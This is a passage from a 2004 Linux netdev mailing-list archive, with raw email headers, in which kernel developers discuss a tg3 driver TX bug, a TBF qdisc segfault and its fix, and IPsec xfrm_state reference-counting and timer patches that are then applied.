flow control diagram and handles a status block update during the ISR by using the SETINT bit to tell the card to force a new interrupt (instead of restarting the ISR). This might also have an effect. In short, even if the implicit assumptions in the bcom driver are correct in that driver, I don't see how you can argue that they can be carried across to the tg3 driver. BTW, at least one other person has reported what appears to be the exactly this bug: http://marc.theaimsgroup.com/?l=linux-kernel&m=102822850329939&w=2 He found the same bug in both bcom and tg3 drivers, and his hardware has little in common with mine (apart from having >1 fast CPUs). Greg. -- Greg Banks, R&D Software Engineer, SGI Australian Software Group. I don't speak for SGI. From jaume.catarineu@upf.edu Mon May 24 18:29:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 18:29:48 -0700 (PDT) Received: from smtp06.retemail.es (smtp06.auna.com [62.81.186.16]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4P1TbKO000724 for ; Mon, 24 May 2004 18:29:38 -0700 Received: from salieri.xcasa ([62.57.138.199]) by smtp06.retemail.es (InterMail vM.5.01.05.32 201-253-122-126-132-20030307) with ESMTP id <20040525012932.CZLA1219.smtp06.retemail.es@salieri.xcasa>; Tue, 25 May 2004 03:29:32 +0200 Received: from hafner.xcasa ([192.168.0.20]) by salieri.xcasa with esmtp (Exim 4.10) id 1BSPL8-0000MY-00; Tue, 25 May 2004 01:58:42 +0200 Message-ID: <40B2BD99.4000500@upf.edu> Date: Tue, 25 May 2004 03:29:29 +0000 From: Jaume Catarineu User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040514 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Dmitry Torokhov CC: hadi@cyberus.ca, "David S. Miller" , netdev@oss.sgi.com, Francois Romieu Subject: Kernel BUG: Qos seg. fault (part II) References: <20040524215346.73109.qmail@web80501.mail.yahoo.com> <1085436571.1041.69.camel@jzny.localdomain> In-Reply-To: <1085436571.1041.69.camel@jzny.localdomain> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-archive-position: 5314 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jaume.catarineu@upf.edu Precedence: bulk X-list: netdev Hi again, I've found another problem that seems strongly related to the first one. In this case we just need a TBF root qdisc: tc qdisc add dev lo root handle 1: tbf rate 250kbit burst 5k limit 5k After adding it, when we ask for the filters... tc filter show dev lo Voilà! Segmentation fault Does the patch provided by Dmitry arrange this? And the Jamal's patch? Which is better? Thanks, Jaume, From hadi@cyberus.ca Mon May 24 19:09:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 19:09:14 -0700 (PDT) Received: from mx01.cybersurf.com (mx01.cybersurf.com [209.197.145.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4P290KO001655 for ; Mon, 24 May 2004 19:09:00 -0700 Received: from mail.cyberus.ca ([209.197.145.21]) by mx01.cybersurf.com with esmtp (Exim 4.20) id 1BSRND-00008q-6o for netdev@oss.sgi.com; Mon, 24 May 2004 22:08:59 -0400 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1BSRN7-00082i-KO; Mon, 24 May 2004 22:08:53 -0400 Subject: Re: Kernel BUG: Qos seg. fault (part II) From: jamal Reply-To: hadi@cyberus.ca To: Jaume Catarineu Cc: Dmitry Torokhov , "David S. Miller" , netdev@oss.sgi.com, Francois Romieu In-Reply-To: <40B2BD99.4000500@upf.edu> References: <20040524215346.73109.qmail@web80501.mail.yahoo.com> <1085436571.1041.69.camel@jzny.localdomain> <40B2BD99.4000500@upf.edu> Content-Type: text/plain; charset=ISO-8859-1 Organization: jamalopolis Message-Id: <1085450901.1043.4.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 24 May 2004 22:08:21 -0400 Content-Transfer-Encoding: 8bit X-archive-position: 5315 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 2004-05-24 at 23:29, Jaume Catarineu wrote: > Hi again, > > I've found another problem that seems strongly related to the first one. > In this case we just need a TBF root qdisc: > > tc qdisc add dev lo root handle 1: tbf rate 250kbit burst 5k limit 5k > > After adding it, when we ask for the filters... > > tc filter show dev lo > > Voilà! > > Segmentation fault > > Does the patch provided by Dmitry arrange this? And the Jamal's patch? > Which is better? Use Dmitry's patch. I believe it would fix the above too. You should get an EINVAL error unless you specify the correct child id (such as tc filter show dev lo parent 20: ) cheers, jamal From dtor_core@ameritech.net Tue May 25 00:08:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 00:08:40 -0700 (PDT) Received: from smtp800.mail.sc5.yahoo.com (smtp800.mail.sc5.yahoo.com [66.163.168.179]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4P781KO013065 for ; Tue, 25 May 2004 00:08:01 -0700 Received: from unknown (HELO core-wl.prvt.inr.net) (dtor?core@ameritech.net@68.79.171.232 with plain) by smtp800.mail.sc5.yahoo.com with SMTP; 25 May 2004 07:08:00 -0000 From: Dmitry Torokhov To: hadi@cyberus.ca Subject: Re: Kernel BUG: Qos seg. fault Date: Tue, 25 May 2004 02:07:57 -0500 User-Agent: KMail/1.6.2 Cc: Jaume Catarineu , "David S. Miller" , netdev@oss.sgi.com References: <20040524215346.73109.qmail@web80501.mail.yahoo.com> <1085436571.1041.69.camel@jzny.localdomain> In-Reply-To: <1085436571.1041.69.camel@jzny.localdomain> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Message-Id: <200405250207.58376.dtor_core@ameritech.net> X-archive-position: 5316 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dtor_core@ameritech.net Precedence: bulk X-list: netdev On Monday 24 May 2004 05:09 pm, jamal wrote: > On Mon, 2004-05-24 at 17:53, Dmitry Torokhov wrote: > > > > It just does... > > you mean just "because" ? ;-> Semantics allow you to do more. > > > TBF as far as I understand is a simple rate > > limiting tool for your network link. > > Consider it a scheduler really. > > > I implemented the child > > qdisc for TBF so you can change default fifo queue in it to > > SFQ or PRIO. It supposed to be very lightweight. If you need > > something more complex/fancy then you probably want HTB or CBF. > > Ok, I thought you were trying to hierachical token buckets. Why coulnt > you go the extra step? > In any case, i agree what you have is a lightweight improvement; but you > could go the next mile. > Your original patch should be sufficient in the case you just want to > stay there. > Yes, I think we should stay right here. If we go that next mile we will get HTB and we already have a decent implementation ;) -- Dmitry From hadi@cyberus.ca Tue May 25 01:40:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 01:40:48 -0700 (PDT) Received: from mx02.cybersurf.com (mx02.cybersurf.com [209.197.145.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4P8ejKO000483 for ; Tue, 25 May 2004 01:40:46 -0700 Received: from mail.cyberus.ca ([209.197.145.21]) by mx02.cybersurf.com with esmtp (Exim 4.30) id 1BSNda-0000eo-FR for netdev@oss.sgi.com; Mon, 24 May 2004 18:09:38 -0400 Received: from [216.209.86.2] (helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1BSNdV-0004eS-3x; Mon, 24 May 2004 18:09:33 -0400 Subject: Re: Kernel BUG: Qos seg. fault From: jamal Reply-To: hadi@cyberus.ca To: Dmitry Torokhov Cc: Jaume Catarineu , "David S. Miller" , netdev@oss.sgi.com In-Reply-To: <20040524215346.73109.qmail@web80501.mail.yahoo.com> References: <20040524215346.73109.qmail@web80501.mail.yahoo.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1085436571.1041.69.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 24 May 2004 18:09:31 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5317 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 2004-05-24 at 17:53, Dmitry Torokhov wrote: > It just does... you mean just "because" ? ;-> Semantics allow you to do more. > TBF as far as I understand is a simple rate > limiting tool for your network link. Consider it a scheduler really. > I implemented the child > qdisc for TBF so you can change default fifo queue in it to > SFQ or PRIO. It supposed to be very lightweight. If you need > something more complex/fancy then you probably want HTB or CBF. Ok, I thought you were trying to hierachical token buckets. Why coulnt you go the extra step? In any case, i agree what you have is a lightweight improvement; but you could go the next mile. Your original patch should be sufficient in the case you just want to stay there. cheers, jamal From jaume.catarineu@upf.edu Tue May 25 04:09:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 04:10:10 -0700 (PDT) Received: from smtp09.retemail.es (smtp09.auna.com [62.81.186.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PB9hKO005795 for ; Tue, 25 May 2004 04:09:43 -0700 Received: from salieri.xcasa ([62.57.138.199]) by smtp09.retemail.es (InterMail vM.5.01.05.32 201-253-122-126-132-20030307) with ESMTP id <20040525110936.VDSB1181.smtp09.retemail.es@salieri.xcasa>; Tue, 25 May 2004 13:09:36 +0200 Received: from hafner.xcasa ([192.168.0.20]) by salieri.xcasa with esmtp (Exim 4.10) id 1BSYOg-0000vw-00; Tue, 25 May 2004 11:38:58 +0200 Message-ID: <40B345A0.8080801@upf.edu> Date: Tue, 25 May 2004 13:09:52 +0000 From: Jaume Catarineu User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040514 X-Accept-Language: en-us, en MIME-Version: 1.0 To: hadi@cyberus.ca CC: Dmitry Torokhov , "David S. Miller" , netdev@oss.sgi.com, Francois Romieu Subject: Re: Kernel BUG: Qos seg. fault (part II) References: <20040524215346.73109.qmail@web80501.mail.yahoo.com><1085436571. 1041.69.camel@jzny.localdomain> <40B2BD99.4000500@upf.edu> <1085450901.1043.4.camel@jzny.localdomain> In-Reply-To: <1085450901.1043.4.camel@jzny.localdomain> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5318 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jaume.catarineu@upf.edu Precedence: bulk X-list: netdev > Use Dmitry's patch. I believe it would fix the above too. > You should get an EINVAL error unless you specify the correct > child id (such as tc filter show dev lo parent 20: ) The patch works with kernel 2.6.4 (also for 2.4.25), and solves the two segmentations faults. :) Jaume, From herbert@gondor.apana.org.au Tue May 25 04:52:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 04:52:51 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PBqYKO009933 for ; Tue, 25 May 2004 04:52:38 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BSaTo-0006p0-00; Tue, 25 May 2004 21:52:24 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BSaTk-0003yB-00; Tue, 25 May 2004 21:52:20 +1000 Date: Tue, 25 May 2004 21:52:20 +1000 To: "David S. Miller" Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: IPSec Oops when deleting an ip address Message-ID: <20040525115220.GA15236@gondor.apana.org.au> References: <20040510134958.13691.qmail@mason.oriente.labs.it> <20040521131950.GA20040@gondor.apana.org.au> <20040521144346.7887dbf0.davem@redhat.com> <20040524114751.GA28571@gondor.apana.org.au> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="a8Wt8u1KmwUX3Y2C" Content-Disposition: inline In-Reply-To: <20040524114751.GA28571@gondor.apana.org.au> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 5319 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev --a8Wt8u1KmwUX3Y2C Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Mon, May 24, 2004 at 09:47:51PM +1000, herbert wrote: > > Hence the problem is still a bug in the ref counting. I think I've found > the real culprit now. __xfrm?_find_acq() is missing an xfrm_state_hold > on the create path. This also explains why I never see it myself since > Openswan never creates states through that code-path. The same bug exists in xfrm_state_find. This is actually used by Openswan. However, the larval state never actually matures with Openswan so it only ever gets deleted by the timer which means that the timer crash can't happen :) It becomes a (possible) memory leak instead. Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --a8Wt8u1KmwUX3Y2C Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p ===== net/xfrm/xfrm_state.c 1.39 vs edited ===== --- 1.39/net/xfrm/xfrm_state.c 2004-05-22 17:32:10 +10:00 +++ edited/net/xfrm/xfrm_state.c 2004-05-25 21:42:43 +10:00 @@ -331,14 +331,8 @@ } } - if (best) { - xfrm_state_hold(best); - spin_unlock_bh(&xfrm_state_lock); - return best; - } - - x = NULL; - if (!error && !acquire_in_progress && + x = best; + if (!x && !error && !acquire_in_progress && ((x = xfrm_state_alloc()) != NULL)) { /* Initialize temporary selector matching only * to current session. */ @@ -363,10 +357,12 @@ error = 1; } } - spin_unlock_bh(&xfrm_state_lock); - if (!x) + if (x) + xfrm_state_hold(x); + else *err = acquire_in_progress ? -EAGAIN : (error ? -ESRCH : -ENOMEM); + spin_unlock_bh(&xfrm_state_lock); return x; } --a8Wt8u1KmwUX3Y2C-- From herbert@gondor.apana.org.au Tue May 25 05:00:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 05:00:42 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PC0VKO010319 for ; Tue, 25 May 2004 05:00:33 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BSabW-0006rq-00; Tue, 25 May 2004 22:00:22 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BSabR-00042A-00; Tue, 25 May 2004 22:00:17 +1000 Date: Tue, 25 May 2004 22:00:16 +1000 To: "David S. Miller" , netdev@oss.sgi.com Subject: [IPSEC] Update out-of-date comment in __xfrm_state_delete Message-ID: <20040525120016.GA15487@gondor.apana.org.au> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="UlVJffcvxoiEqYs2" Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 5320 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev --UlVJffcvxoiEqYs2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Dave: The comment at the end of __xfrm_state_delete no longer matches the status quo. This patch brings it up-to-date again. Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --UlVJffcvxoiEqYs2 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p ===== net/xfrm/xfrm_state.c 1.40 vs edited ===== --- 1.40/net/xfrm/xfrm_state.c 2004-05-25 21:54:27 +10:00 +++ edited/net/xfrm/xfrm_state.c 2004-05-25 21:58:06 +10:00 @@ -221,13 +221,9 @@ if (atomic_read(&x->refcnt) > 2) xfrm_flush_bundles(); - /* All xfrm_state objects are created by one of two possible - * paths: - * - * 2) xfrm_state_lookup --> xfrm_state_insert - * - * The xfrm_state_lookup or xfrm_state_alloc call gives a - * reference, and that is what we are dropping here. + /* All xfrm_state objects are created by xfrm_state_alloc. + * The xfrm_state_alloc call gives a reference, and that + * is what we are dropping here. */ atomic_dec(&x->refcnt); } --UlVJffcvxoiEqYs2-- From herbert@gondor.apana.org.au Tue May 25 05:11:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 05:11:33 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PCB9KO011072 for ; Tue, 25 May 2004 05:11:11 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BSalo-0006uD-00; Tue, 25 May 2004 22:11:00 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BSalj-00045z-00; Tue, 25 May 2004 22:10:55 +1000 Date: Tue, 25 May 2004 22:10:55 +1000 To: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [IPSEC] Use add_timer instead of mod_timer in find_acq Message-ID: <20040525121055.GA15690@gondor.apana.org.au> References: <20040524115357.GA28827@gondor.apana.org.au> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="zYM0uCDKw75PZbzx" Content-Disposition: inline In-Reply-To: <20040524115357.GA28827@gondor.apana.org.au> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 5321 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev --zYM0uCDKw75PZbzx Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Mon, May 24, 2004 at 09:53:57PM +1000, herbert wrote: > > Here is a tiny optimisation to use add_timer instead of mod_timer > on the create path in find_acq. Here is the same optimisation for the creation path in xfrm_state_find. It also fixes the timer so that it actually expires :) Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --zYM0uCDKw75PZbzx Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p ===== net/xfrm/xfrm_state.c 1.41 vs edited ===== --- 1.41/net/xfrm/xfrm_state.c 2004-05-25 22:01:18 +10:00 +++ edited/net/xfrm/xfrm_state.c 2004-05-25 22:09:10 +10:00 @@ -345,7 +345,8 @@ } x->lft.hard_add_expires_seconds = XFRM_ACQ_EXPIRES; xfrm_state_hold(x); - mod_timer(&x->timer, XFRM_ACQ_EXPIRES*HZ); + x->timer.expires = jiffies + XFRM_ACQ_EXPIRES*HZ; + add_timer(&x->timer); } else { x->km.state = XFRM_STATE_DEAD; xfrm_state_put(x); --zYM0uCDKw75PZbzx-- From davem@redhat.com Tue May 25 10:51:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 10:51:40 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PHpbKO017625 for ; Tue, 25 May 2004 10:51:37 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4PHpai5017640; Tue, 25 May 2004 13:51:36 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4PHpZ018582; Tue, 25 May 2004 13:51:35 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4PHpVhk015825; Tue, 25 May 2004 13:51:31 -0400 Date: Tue, 25 May 2004 10:51:01 -0700 From: "David S. Miller" To: Greg Banks Cc: netdev@oss.sgi.com, mchan@broadcom.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-Id: <20040525105101.2da85469.davem@redhat.com> In-Reply-To: <20040525010434.GA31134@sgi.com> References: <20040524072657.GC27177@sgi.com> <20040524004045.58b3eb44.davem@redhat.com> <20040524080431.GD27177@sgi.com> <20040524100634.1349295d.davem@redhat.com> <20040525010434.GA31134@sgi.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5322 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 25 May 2004 11:04:34 +1000 Greg Banks wrote: > I agree that this code appears to implictly rely on always getting > complete send ring updates. Greg, did you see Micahel Chan's response? A Broadcom engineer is telling us "the hardware does not ACK partial TX packets." I can't think of a more reliable source for this kind of information, can you? Given this, it doesn't matter all of the difference you mention between the tg3 and bcm5700 driver, the hardware simply is never supposed to do this as stated by somehow who has access to the actual hardware engineers. :-) I don't argue that you aren't seeing something strange, but perhaps that is due to corruption occuring elsewhere, or perhaps something peculiar about your system hardware (perhaps the PCI controller mis-orders PCI transactions or something silly like that)? Have you reproduced this on some system other than these huge SGI ones? From davem@redhat.com Tue May 25 10:52:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 10:52:42 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PHqeKO017725 for ; Tue, 25 May 2004 10:52:40 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4PHqdi5018004; Tue, 25 May 2004 13:52:39 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4PHqd019006; Tue, 25 May 2004 13:52:39 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4PHqYhk016500; Tue, 25 May 2004 13:52:35 -0400 Date: Tue, 25 May 2004 10:52:04 -0700 From: "David S. Miller" To: Greg Banks Cc: netdev@oss.sgi.com, mchan@broadcom.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-Id: <20040525105204.76a2b649.davem@redhat.com> In-Reply-To: <20040525010434.GA31134@sgi.com> References: <20040524072657.GC27177@sgi.com> <20040524004045.58b3eb44.davem@redhat.com> <20040524080431.GD27177@sgi.com> <20040524100634.1349295d.davem@redhat.com> <20040525010434.GA31134@sgi.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5323 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev So, BTW, I'm not putting in a workaround for the partial-TX-packet ACK in tg3_tx() until we figure out why this is happening for Greg. From davem@redhat.com Tue May 25 11:03:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 11:03:25 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PI3Ngi001365 for ; Tue, 25 May 2004 11:03:24 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4PI3Ii5021496; Tue, 25 May 2004 14:03:18 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4PI3I023486; Tue, 25 May 2004 14:03:18 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4PI3Ehk021228; Tue, 25 May 2004 14:03:14 -0400 Date: Tue, 25 May 2004 11:02:44 -0700 From: "David S. Miller" To: Herbert Xu Cc: netdev@oss.sgi.com Subject: Re: [IPSEC] Use add_timer instead of mod_timer in find_acq Message-Id: <20040525110244.6284b806.davem@redhat.com> In-Reply-To: <20040525121055.GA15690@gondor.apana.org.au> References: <20040524115357.GA28827@gondor.apana.org.au> <20040525121055.GA15690@gondor.apana.org.au> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5326 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 25 May 2004 22:10:55 +1000 Herbert Xu wrote: > On Mon, May 24, 2004 at 09:53:57PM +1000, herbert wrote: > > > > Here is a tiny optimisation to use add_timer instead of mod_timer > > on the create path in find_acq. > > Here is the same optimisation for the creation path in xfrm_state_find. > It also fixes the timer so that it actually expires :) Also applied, thanks. From davem@redhat.com Tue May 25 11:02:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 11:02:28 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PI21gi001141 for ; Tue, 25 May 2004 11:02:22 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4PI1qi5021116; Tue, 25 May 2004 14:01:52 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4PI1q023130; Tue, 25 May 2004 14:01:52 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4PI1mhk020897; Tue, 25 May 2004 14:01:48 -0400 Date: Tue, 25 May 2004 11:01:18 -0700 From: "David S. Miller" To: Herbert Xu Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: IPSec Oops when deleting an ip address Message-Id: <20040525110118.13ef9d88.davem@redhat.com> In-Reply-To: <20040525115220.GA15236@gondor.apana.org.au> References: <20040510134958.13691.qmail@mason.oriente.labs.it> <20040521131950.GA20040@gondor.apana.org.au> <20040521144346.7887dbf0.davem@redhat.com> <20040524114751.GA28571@gondor.apana.org.au> <20040525115220.GA15236@gondor.apana.org.au> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5324 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 25 May 2004 21:52:20 +1000 Herbert Xu wrote: > The same bug exists in xfrm_state_find. This is actually used by > Openswan. However, the larval state never actually matures with > Openswan so it only ever gets deleted by the timer which means that > the timer crash can't happen :) It becomes a (possible) memory leak > instead. Looks good, applied. From davem@redhat.com Tue May 25 11:02:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 11:02:41 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PI2cgi001210 for ; Tue, 25 May 2004 11:02:39 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4PI2Xi5021295; Tue, 25 May 2004 14:02:33 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4PI2X023314; Tue, 25 May 2004 14:02:33 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com 